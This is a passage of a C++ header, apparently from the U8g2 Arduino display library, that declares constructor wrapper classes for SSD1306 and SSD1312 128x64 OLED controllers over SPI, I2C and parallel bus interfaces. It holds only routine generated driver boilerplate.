u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_6800 : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_8080 : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_6800 : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_8080 : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_NONAME_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_NONAME_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_VCOMH0_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_ALT0_1_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_ALT0_1_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_ALT0_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_NONAME_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_NONAME_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_NONAME_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_VCOMH0_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_ALT0_2_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_ALT0_2_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_ALT0_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_NONAME_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_NONAME_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_NONAME_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_VCOMH0_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_VCOMH0_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_VCOMH0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_128X64_ALT0_F_SW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1306_128X64_ALT0_F_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1306_128X64_ALT0_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1306_128X64_ALT0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_i2c_128x64_alt0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1312_128X64_NONAME_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_6800 : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_1_8080 : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_6800 : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_2_8080 : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1312_128X64_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1312_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1312_128X64_NONAME_F_2ND_4W_HW_SPI : public U8G2 { public: 